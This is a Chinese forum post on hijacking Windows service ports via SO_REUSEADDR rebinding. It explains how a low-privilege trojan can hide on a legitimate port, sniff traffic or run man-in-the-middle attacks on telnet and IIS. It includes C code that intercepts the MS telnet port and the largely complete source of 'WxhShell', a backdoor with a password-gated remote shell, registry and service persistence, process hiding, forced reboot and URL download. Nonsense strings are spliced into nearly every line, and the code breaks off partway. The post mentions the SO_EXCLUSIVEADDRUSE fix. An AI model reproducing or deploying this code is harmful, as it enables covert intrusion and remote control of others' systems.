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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6[r-8_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vuL;P"F4&  
ZbmBwW_ 7  
  saddr.sin_family = AF_INET; a?_!  
uc>u=kEue  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )U6-&-07  
AoL2Wrk]\B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '@~\(SH  
qa>Z?/w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J.nJ@?O+  
$~$NQe!/  
  这意味着什么?意味着可以进行如下的攻击: {#-I;I:  
zk\YW'x|r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >!o||Yn  
0keqtr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w(>mP9Cb  
eSAB :L,K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @-^jbmu^ P  
NeG$;z7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  75>)1H)Xm  
],!7S"{97  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xN^ngRg0  
`5J`<BPs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6[\b]I\Q  
p#k>BHgnF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )GbVgYkk  
UW!*=?h  
  #include Ub>Pl,~'  
  #include fga{ b7  
  #include Cf~H9  
  #include    }&E'ox<S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZvQ~K(3  
  int main() ;+86q"&n  
  { :6N'%LKK  
  WORD wVersionRequested; $|0?$U7!  
  DWORD ret; p3e_:5k  
  WSADATA wsaData; ap 5D6y+  
  BOOL val; 4hymQ3 g  
  SOCKADDR_IN saddr; <KBzZ !n5  
  SOCKADDR_IN scaddr; '4T]=s~N  
  int err; Cp`>dtCd  
  SOCKET s; {[ E7Cf  
  SOCKET sc; <B3v4 f  
  int caddsize; vt(A?$j|A  
  HANDLE mt; hny(:Dj  
  DWORD tid;   F:3*i^ L  
  wVersionRequested = MAKEWORD( 2, 2 ); wZAY0@pA  
  err = WSAStartup( wVersionRequested, &wsaData ); 9f wFSJx  
  if ( err != 0 ) { #z( JYw,  
  printf("error!WSAStartup failed!\n"); {9/ayG[98  
  return -1; eD#R4  
  } | e&v;48  
  saddr.sin_family = AF_INET; }3}{}w0Y  
   y*f 5_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $<]G#&F   
<"&I'9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CO)BF%?B  
  saddr.sin_port = htons(23); /d1 B-I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CyWaXp65  
  { hwon ^?  
  printf("error!socket failed!\n"); D>HX1LV  
  return -1; b `TA2h  
  } dx<KZR$!V  
  val = TRUE; t 7(#Cuv-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <<ze84 E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L#\!0YW/@  
  { 7,pn0,HI  
  printf("error!setsockopt failed!\n"); s={jwI50  
  return -1; bPe|/wp  
  } 1TuN   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m$w'`[H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ++Z,U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F5Xj}`}bq  
,g"[7Za  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) + Q $J q  
  { ,rC$~ &  
  ret=GetLastError(); Bq20U:f  
  printf("error!bind failed!\n"); IPIas$  
  return -1; t/3t69\x  
  } l<89[{9o  
  listen(s,2); d/m.VnW  
  while(1) zx(=ArCRr  
  { Jxq;Uu9  
  caddsize = sizeof(scaddr); !:N&tuJEv  
  //接受连接请求 pow.@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h"/y$  
  if(sc!=INVALID_SOCKET) N N1(f  
  { [ q% Rx!L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mfI>1W(  
  if(mt==NULL) g aq"+@fH  
  { 5i$iUDuT>(  
  printf("Thread Creat Failed!\n"); y\xa<!:g  
  break; { ]F };_  
  } j~ 'a %P  
  } Ha}TdQ%  
  CloseHandle(mt); c^?+"7oO0  
  } y\M Kd[G7  
  closesocket(s); 'H]&$AZ;@  
  WSACleanup(); Cd"cU~HAB  
  return 0; IGtpL[.;/  
  }   Q8~|0X\.g  
  DWORD WINAPI ClientThread(LPVOID lpParam) )Gu:eYp+`  
  { N1vPY]8  
  SOCKET ss = (SOCKET)lpParam; A\1X-Mm  
  SOCKET sc; TrEo5H;  
  unsigned char buf[4096]; (sfy14>\  
  SOCKADDR_IN saddr; DC-tBbQkk  
  long num; @rV|7%u  
  DWORD val; v"LH^!/  
  DWORD ret; 8vK$]e36  
  //如果是隐藏端口应用的话,可以在此处加一些判断 GjfPba4>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VsrYU@V  
  saddr.sin_family = AF_INET; lO>9Q]S<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +'@j~\>^yJ  
  saddr.sin_port = htons(23); [\rnJ lE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ma%PVz`I;9  
  { s[}4Q|s%  
  printf("error!socket failed!\n"); ,?k~>,{3  
  return -1; }=fVO<R v  
  } `/4 R$E{  
  val = 100; 3R=R k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?C6DK{S(  
  { ~:ldGfb|  
  ret = GetLastError(); icw (y(W  
  return -1; dP7nR1GS  
  } Wj}PtQ%lp/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yG ,oSp|  
  { z K+C&X  
  ret = GetLastError(); :=J^"c  
  return -1; =rB=! ;  
  } Cr  a@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F70_N($i  
  { 4L`<xX;:{  
  printf("error!socket connect failed!\n"); t V:oBT*  
  closesocket(sc); ,e{|[k  
  closesocket(ss); J,&B   
  return -1; jO9w7u6  
  } itpljh  
  while(1) !i dQ-&  
  { S Y7'S#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z6F^p8O-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |vI1C5e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5'mpd  
  num = recv(ss,buf,4096,0); Vo; B#lK  
  if(num>0) v6$ }saTX  
  send(sc,buf,num,0); {Iu9%uR>@  
  else if(num==0) CB1AL]|3  
  break; DsI{*#  
  num = recv(sc,buf,4096,0); F\H^=P  
  if(num>0) K~MTbdg  
  send(ss,buf,num,0); [&B}{6wry  
  else if(num==0) /;K?Y#mf~j  
  break; v)VhR2d3  
  } "92Z"I~1  
  closesocket(ss); <.l$jW]  
  closesocket(sc); aV6l"A]  
  return 0 ; ^UJ#YRzi  
  } +=qazE<:0  
)RFE< Qcj  
+~H mP Q  
========================================================== 4wa8Vw`  
7ql&UIeQ  
下边附上一个代码,,WXhSHELL bns([F  
k\~A\UIYo  
========================================================== ] SErM#$*  
2|8&=K /  
#include "stdafx.h" C K{.Ic^  
G|"`kAa  
#include <stdio.h> u3Jsu=Nx-  
#include <string.h> >~% _U+6  
#include <windows.h> qZ8 V/  
#include <winsock2.h> 3XeCaq'N  
#include <winsvc.h> 6kc/  
#include <urlmon.h> S&rfMRP  
 1aAYBV<3  
#pragma comment (lib, "Ws2_32.lib") 1 ^k#g,  
#pragma comment (lib, "urlmon.lib") DJF-J#  
09RJc3XE9  
#define MAX_USER   100 // 最大客户端连接数 c20'{kH  
#define BUF_SOCK   200 // sock buffer =}G `i**  
#define KEY_BUFF   255 // 输入 buffer nvyyV\w  
vT7ei"~&u  
#define REBOOT     0   // 重启 /wj L<  
#define SHUTDOWN   1   // 关机 l*l(QvN_  
f17pwJ~=  
#define DEF_PORT   5000 // 监听端口 n,Z B-"dW  
cE*Gd^  
#define REG_LEN     16   // 注册表键长度 gda3{g7<)  
#define SVC_LEN     80   // NT服务名长度 pFu3FUO*;  
p:,(r{*?  
// 从dll定义API 9 J$z/j;X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U73{Uv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o,fBOPIN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @'K+   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sf|[oD  
[y>;  
// wxhshell配置信息 8#Q=CTjF  
struct WSCFG { .&53WL[D|  
  int ws_port;         // 监听端口 >,8DwNuq  
  char ws_passstr[REG_LEN]; // 口令   0%  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z'%k`F  
  char ws_regname[REG_LEN]; // 注册表键名 V m1U00lM{  
  char ws_svcname[REG_LEN]; // 服务名 >F zu]G4]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XK)qDg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #_tixg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FS%Xq-c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /^E2BRI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;b[% L&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C^po*(W6  
aF:_1. LC  
}; B6gSt3w.  
e1dT~l  
// default Wxhshell configuration ,qgph^C  
struct WSCFG wscfg={DEF_PORT, xQ `>\f  
    "xuhuanlingzhe", -vXX u;frt  
    1, ]-$0?/`p8  
    "Wxhshell", 0R,?$qM\  
    "Wxhshell", oEE*H2l\  
            "WxhShell Service", |wKC9O@%  
    "Wrsky Windows CmdShell Service", bBkF,`/f$  
    "Please Input Your Password: ", s|U=_,.  
  1, ,%+i}H,3  
  "http://www.wrsky.com/wxhshell.exe", `e t0i.  
  "Wxhshell.exe" qV$\.T>x  
    }; -.|V S|y  
\N\Jny  
// 消息定义模块 VRYj&s'@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !"2nL%PW~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5-Vdq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n|vIo)  
char *msg_ws_ext="\n\rExit."; s[ |sfqB1`  
char *msg_ws_end="\n\rQuit."; 5!r?U  
char *msg_ws_boot="\n\rReboot..."; W6t"n_%?"  
char *msg_ws_poff="\n\rShutdown..."; dnVl;L8L3  
char *msg_ws_down="\n\rSave to "; he0KzwBF  
EKsL0;FV  
char *msg_ws_err="\n\rErr!"; [XWY-q#Gg  
char *msg_ws_ok="\n\rOK!"; Kc+;"4/#q  
j4L ) D  
char ExeFile[MAX_PATH]; oHkF>B [  
int nUser = 0; P agzp%m  
HANDLE handles[MAX_USER]; dUOvv/,FZT  
int OsIsNt; `s (A&=g\  
G\S\Qe{P~  
SERVICE_STATUS       serviceStatus; =(ts~^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pOlo_na}[  
$v?+X20  
// 函数声明 Z 55iq  
int Install(void); f} g)3+i  
int Uninstall(void); a;J{'PHu  
int DownloadFile(char *sURL, SOCKET wsh); !8^:19+  
int Boot(int flag); LuQ4TT  
void HideProc(void); {dV#"+  
int GetOsVer(void); TN}YRXtW+  
int Wxhshell(SOCKET wsl); PDaHY  
void TalkWithClient(void *cs); +!IIt {u  
int CmdShell(SOCKET sock); oR>o/$z$)g  
int StartFromService(void); \x i wp.  
int StartWxhshell(LPSTR lpCmdLine); J&w%lYiu5  
!uLW-[F,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jy`jxOoG~Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R9Wh/@J]  
8munw  
// 数据结构和表定义 $F-qqkR$  
SERVICE_TABLE_ENTRY DispatchTable[] = 5inmFT?9Z  
{ /Fej)WQp  
{wscfg.ws_svcname, NTServiceMain}, dg/OjiD[P  
{NULL, NULL} _ETG.SYq  
}; ',k0 _n?t  
8jW{0&ox)  
// 自我安装 #W,BUN}  
int Install(void) ab8uY.j  
{ z5-vx`  
  char svExeFile[MAX_PATH]; BX&bhWYGFX  
  HKEY key; 9\RSJGx6  
  strcpy(svExeFile,ExeFile); YXxaD@  
u"r~5  
// 如果是win9x系统,修改注册表设为自启动 ;:Q 5?zM  
if(!OsIsNt) { Z-;<R$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Pik},  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _hyboQi  
  RegCloseKey(key); 7ET^,6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +h^>?U,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); preKg $U  
  RegCloseKey(key);  $6w[h7  
  return 0; Q{6Bhx *>  
    } .VN"j  
  } mw)KyU#l,:  
} YKq,`7"%  
else { f3Ior.n(  
_2+}_ >d  
// 如果是NT以上系统,安装为系统服务 O_aZ\28};C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1P(rgn:8e  
if (schSCManager!=0) %[0V>  
{ p Ux ~  
  SC_HANDLE schService = CreateService tr0P ;}=  
  ( rlr)n\R#  
  schSCManager, nsFOtOdd  
  wscfg.ws_svcname, ;n_|t/=  
  wscfg.ws_svcdisp, d;O16xcM/  
  SERVICE_ALL_ACCESS, "mc/fp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8 hx4N  
  SERVICE_AUTO_START, ei)ljvvmHP  
  SERVICE_ERROR_NORMAL, Br.$:g#  
  svExeFile, eAN]*: ]g  
  NULL, >2tQ')%DJ  
  NULL, n{JBC%^g  
  NULL, x? 3U3\W  
  NULL,  " Mzb  
  NULL oLK-~[p  
  ); !'uL  
  if (schService!=0) \U $'3M  
  { JVbR5"+.  
  CloseServiceHandle(schService); ]w z`j1  
  CloseServiceHandle(schSCManager); /.r|ron:e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !_CBf#0  
  strcat(svExeFile,wscfg.ws_svcname); 6Mu_9UAl`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0o~? ]C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a^_\#,}  
  RegCloseKey(key); ?g gl8bzA  
  return 0; UFBggT\  
    } y J*`OU#  
  } ("-Co,4ey  
  CloseServiceHandle(schSCManager); P{j2'gg3  
} _/Ky;p.  
} Zp@j*P  
Hhx"47:  
return 1; ;8\w$SPP  
} Vg'vL[Y  
Cw7 07  
// 自我卸载 xR;>n[6  
int Uninstall(void) ?WPuTPw{  
{ AyHhq8Y  
  HKEY key; zOJ4I^^  
278:5yC  
if(!OsIsNt) { 02B *cz_K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~ 8L]!OQ9=  
  RegDeleteValue(key,wscfg.ws_regname); 0#1hkJ"  
  RegCloseKey(key); K|JpkEw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 52Sq;X  
  RegDeleteValue(key,wscfg.ws_regname); O@.C.5Ep  
  RegCloseKey(key); }e$^v*16  
  return 0; ]}7FTMGbY  
  } P^9y0Q  
} u5D@,wSNz  
} 8@;|x2=y  
else { [7x,&  
$ 9bIUJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r7B.@+QK  
if (schSCManager!=0) qTc-Z5  
{ Ws;S=|9,7~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7{jB!Xj  
  if (schService!=0) 9!'qLO  
  { : :;YS9e  
  if(DeleteService(schService)!=0) { 0"l*8%g  
  CloseServiceHandle(schService); 6/{V#.(  
  CloseServiceHandle(schSCManager); ]b5E_/P  
  return 0; j v9DQr  
  } sVXIR  
  CloseServiceHandle(schService); z =m Dd  
  } 6.#5Ra   
  CloseServiceHandle(schSCManager); r 0m A  
} ,uz+/K%OA5  
} 2ed4xh V  
$z1W0  
return 1; (!'=?B "  
} ~>2DA$Ec  
#B_Em$  
// 从指定url下载文件 cf\PG&S  
int DownloadFile(char *sURL, SOCKET wsh) :Q\Es:y  
{ [\i0@  
  HRESULT hr; D1xIRyc/  
char seps[]= "/"; ~vL7$-:  
char *token; Tt^PiaS!  
char *file; lI,lR  
char myURL[MAX_PATH]; s,z$Vt"h*K  
char myFILE[MAX_PATH]; FE'|wf  
XSfl'Fll D  
strcpy(myURL,sURL); *:r6E  
  token=strtok(myURL,seps); <H; z4  
  while(token!=NULL) rN$U%\.I  
  { v w.rkAGY  
    file=token; B7'rbc'  
  token=strtok(NULL,seps); .8.4!6~@  
  } v8{ jEAK  
kdq<)>"  
GetCurrentDirectory(MAX_PATH,myFILE); )Z/L  
strcat(myFILE, "\\"); k 4HE'WY  
strcat(myFILE, file); Q4;%[7LU  
  send(wsh,myFILE,strlen(myFILE),0); YGdzA]3>  
send(wsh,"...",3,0); ?cyBF*o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NA :_yA"  
  if(hr==S_OK) ?'xwr )v  
return 0; U{`Q_Uw@$:  
else i(Xz3L#(  
return 1; J2_~iC&;s  
MBIlt 1P  
} uGoySt&;(  
+VSq[P  
// 系统电源模块 ~10>mg  
int Boot(int flag) -22]|$f  
{ eb ` !  
  HANDLE hToken; x$SxGc~4gb  
  TOKEN_PRIVILEGES tkp; mJ #|~I*Z-  
)'1rZb5  
  if(OsIsNt) { xj!G9x<!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); If*+yr|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hf`5NcnP  
    tkp.PrivilegeCount = 1; yIq. m=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #/,WgsAC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IG(1h+5 R(  
if(flag==REBOOT) { :>q*#vlb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _\ &N<  
  return 0; m) q e  
} #Fwf]{J  
else { ):L ; P)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) au;ZAXM|  
  return 0; [Yyb)Qf  
} 2uEvu  
  } ;1MRBk,  
  else { qib4DT$v-6  
if(flag==REBOOT) { Chs#}=gzi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vmGGdj5aI  
  return 0; vU9j|z  
} q(XO_1W0V  
else { + t JEG:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1w$X;q"  
  return 0; `Ei:Z%@7C  
} 8q/3}AnI  
} W1\F-:4L@  
q(s&2|  
return 1; *=)kR7,]9d  
} 6V&HlJH  
JW2~ G!@  
// win9x进程隐藏模块 Z[GeU>?P  
void HideProc(void) x@Ze%$'  
{ ',l}$]y5  
n:P++^ j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mhi^zHpa  
  if ( hKernel != NULL ) sIz*r Gz  
  { =8W'4MC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TD^w|U.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _!C M  
    FreeLibrary(hKernel); \2OjIEQQ  
  } \sc's7  
vD91t/_+  
return; @E !`:/k  
} /DE`>eJY  
4iC=+YUn  
// 获取操作系统版本 | HfN<4NL  
int GetOsVer(void) u?V Tnsu  
{ \Pt_5.bTs[  
  OSVERSIONINFO winfo; qu+Zl1~$]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #7BX,jvn>  
  GetVersionEx(&winfo); TYu(;~   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nS9 kwaO  
  return 1; 586lN22xM  
  else t_NnQ4)=  
  return 0; T(q/$p&q  
} a[hQ<@1O  
@lu` oyM  
// 客户端句柄模块 mNdEn<W  
int Wxhshell(SOCKET wsl) bU{lV<R,  
{ cIB[D.  
  SOCKET wsh; ~7O.}RP0  
  struct sockaddr_in client; d45mKla(V  
  DWORD myID; 6$ x9@x8  
^hyp}WN  
  while(nUser<MAX_USER) Wo, "$Z6B  
{ p#+Da\qmx  
  int nSize=sizeof(client); TBu[3X%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [l:}#5\]4  
  if(wsh==INVALID_SOCKET) return 1; /~}<[6ZGCY  
Ns5'K^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nny#}k Bt  
if(handles[nUser]==0) Gid6,J  
  closesocket(wsh); ^7-l<R[T  
else S0jYk (  
  nUser++; .e1Yd8  
  } #:M <<gk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gcp!"y=i  
i=aK ?^+  
  return 0; k:* (..!0z  
} NsUP0B}.  
Fz1K*xx'  
// 关闭 socket 'l&bg8K9  
void CloseIt(SOCKET wsh) ?r/)s()ALf  
{ (^9dp[2  
closesocket(wsh); E .%_i8s  
nUser--; ^rssZQKY[  
ExitThread(0); CI+@G XY  
} vq-# %o  
_h0hl]rf  
// 客户端请求句柄 la{Iqm{i  
void TalkWithClient(void *cs) 5sI9GC  
{ TM<;Nj[*n  
(hn;C>B  
  SOCKET wsh=(SOCKET)cs; oa2v/P1`  
  char pwd[SVC_LEN]; iJVm=0WS^  
  char cmd[KEY_BUFF]; EB2 5N~7  
char chr[1]; M~LYq  
int i,j; .g52p+Z#  
+xn59V  
  while (nUser < MAX_USER) { W'}^m*F  
H`EsFKw\%  
if(wscfg.ws_passstr) { -'~61=PD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  LAO2Py#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X].Igb)2  
  //ZeroMemory(pwd,KEY_BUFF); ew 4pAav  
      i=0; i8i~b8r]  
  while(i<SVC_LEN) { ZDTp/5=?K/  
d6+{^v$#  
  // 设置超时 R~H+.Vh  
  fd_set FdRead; W $EAo+V  
  struct timeval TimeOut; HrH! 'bd  
  FD_ZERO(&FdRead); &7Lg) PG  
  FD_SET(wsh,&FdRead); .qg 2zE$0  
  TimeOut.tv_sec=8; 9KDm<Q-mf  
  TimeOut.tv_usec=0; l$J2|\M6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xay~fD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -,^Z5N#\|  
b2G1@f.U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zil<*(kv{  
  pwd=chr[0]; <) VNEy'  
  if(chr[0]==0xd || chr[0]==0xa) { 8Y&_X0T|  
  pwd=0; |P(8T'  
  break; r l>e~i  
  } jzAXC^FS  
  i++; Fd1jElt  
    } 35Cm>X  
B> V)6\   
  // 如果是非法用户,关闭 socket 9 gWqs'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;Wedj\Kkp  
} *(CV OY~  
hd~0qK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L#Rj~&U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I/Q~rVt  
j+NsNIJq  
while(1) { 'A)9h7k}  
EN;4EC7tE  
  ZeroMemory(cmd,KEY_BUFF); f=T&$tZ<  
y?ypRCgO.u  
      // 自动支持客户端 telnet标准   Gc2:^FVlh  
  j=0; KSxZ4Y  
  while(j<KEY_BUFF) { , ^@z;xF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :@K~>^+U  
  cmd[j]=chr[0]; JlhI3`X;/  
  if(chr[0]==0xa || chr[0]==0xd) { ]qO*(m:}o  
  cmd[j]=0; =H/ 5  
  break; IyoitIbLl  
  } mG.H=iw  
  j++; p"d_+  
    } d~z%kl 5:  
((T6z$:hA  
  // 下载文件 DQ hstXX  
  if(strstr(cmd,"http://")) { :YM1p&|fS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); - sL4tMP  
  if(DownloadFile(cmd,wsh)) [BuAJ930#5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lc\%7-%:5  
  else PXo^SHJ+gt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I;+>@Cn(g<  
  } 1!&m1  
  else { *  \%b1  
xew s~74L  
    switch(cmd[0]) { 8RjFp2) W  
  !a^'Jbb  
  // 帮助 ,nSapmg  
  case '?': { Y%Tm `$^V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {C5-M!D{<  
    break; I\P w`  
  } /TY=ig1z  
  // 安装 q*7:L  
  case 'i': { 1)J' pDa  
    if(Install()) ];*? `}#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wG X\ub#!  
    else Mu/hTTiNx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .05x=28n%  
    break; DsH#?h<-o  
    } ]:.9:RmEV  
  // 卸载 \T {<{<n  
  case 'r': { b_']S0$c\  
    if(Uninstall()) s_cur-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yeIc Q%  
    else vQmqYyOc2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {~EPP .  
    break; x,UP7=6  
    } ?JMy  
  // 显示 wxhshell 所在路径 sZI$t L<j  
  case 'p': { #Q$+AdY|  
    char svExeFile[MAX_PATH]; [U_  
    strcpy(svExeFile,"\n\r"); #A=ER[[  
      strcat(svExeFile,ExeFile); "=!sZO?3  
        send(wsh,svExeFile,strlen(svExeFile),0); m.ejGm?  
    break; S@cKo&^  
    } 1"~$(@oxG  
  // 重启 aRcVoOq  
  case 'b': { ]K|td)1X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $lb$<  
    if(Boot(REBOOT)) ,tak{["  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); liPaT  
    else { qkBCI,X_Y  
    closesocket(wsh); <\oD4EE_  
    ExitThread(0); }s:~E2?In  
    } =H8Y  
    break; fT.MglJcb  
    } W|\$}@>  
  // 关机 v$#l]A_D  
  case 'd': { 6/.cS4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x+EEMv3u:  
